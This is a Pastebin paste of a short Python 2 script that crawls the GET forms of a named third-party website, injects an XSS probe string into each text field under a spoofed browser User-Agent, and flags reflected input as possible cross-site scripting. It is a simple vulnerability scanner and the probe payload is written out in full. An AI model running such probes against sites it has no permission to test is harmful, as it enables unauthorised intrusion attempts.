Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib, urllib2, random, sys
- from BeautifulSoup import BeautifulSoup
- from BeautifulSoup import BeautifulStoneSoup
- url = "http://dubstep.net"
- injection_str = ""
- for x in range(0,8):
- injection_str += random.choice("abcdefghi1234567890")
- encoded_injection_str = urllib.urlencode({"":";!--\"<%s>=&{()}" % injection_str})
- class _http_handler():
- def __init__(self):
- self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
- urllib2.install_opener(self.opener)
- def request(self, url, data=None):
- req = urllib2.Request(url)
- req.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18')
- if data != None:
- data = urllib.urlencode(data)
- try:
- response = self.opener.open(req,data)
- except urllib2.URLError, err:
- print(err)
- print("Failed to open: {0}\nWith data:{1}".format(url, data))
- return
- return response.read()
- else:
- try:
- response = self.opener.open(req)
- except urllib2.URLError, err:
- print(err)
- print("Failed to open {0}".format(url))
- return
- return response.read()
- def get_forms(url):
- h = _http_handler()
- data = h.request(url)
- if data == None:
- return None
- soup = BeautifulSoup(data)
- forms = soup.findAll("form", attrs={"method":"get"})
- valid_forms = []
- for form in forms:
- action = form.get("action")
- if action != None:
- inputs = form.findAll("input", attrs={"type":"text"})
- names = []
- for input in inputs:
- name = input.get("name")
- if input != None:
- names.append(str(name))
- valid_forms.append([str(action), names])
- return valid_forms
- def generate_links(forms):pass
- forms = get_forms(url)
- if forms == None:
- print("Cannot continue, could not open site to parse.")
- sys.exit(0)
- h = _http_handler()
- for form in forms:
- for para in form[1]:
- if form[0] != "#":
- if form[0].startswith("http://"):
- new_url = "{0}?{1}={2}".format(form[0], para, encoded_injection_str)
- print(new_url)
- data = h.request(new_url)
- if data == None:
- continue
- if injection_str in data:
- print("[!]Possible XSS found!")
- print("[i]URL:{0}".format(new_url))
- print("[i]Para:{0}\n".format(para))
- else:
- new_url = "{0}/{1}?{2}={3}".format( url, form[0],
- para, encoded_injection_str)
- print(new_url)
- data = h.request(new_url)
- if data == None:
- continue
- if injection_str in data:
- print("[!]Possible XSS found!")
- print("[i]URL:{0}".format(new_url))
- print("[i]Para:{0}\n".format(para))
Advertisement
Add Comment
Please, Sign In to add comment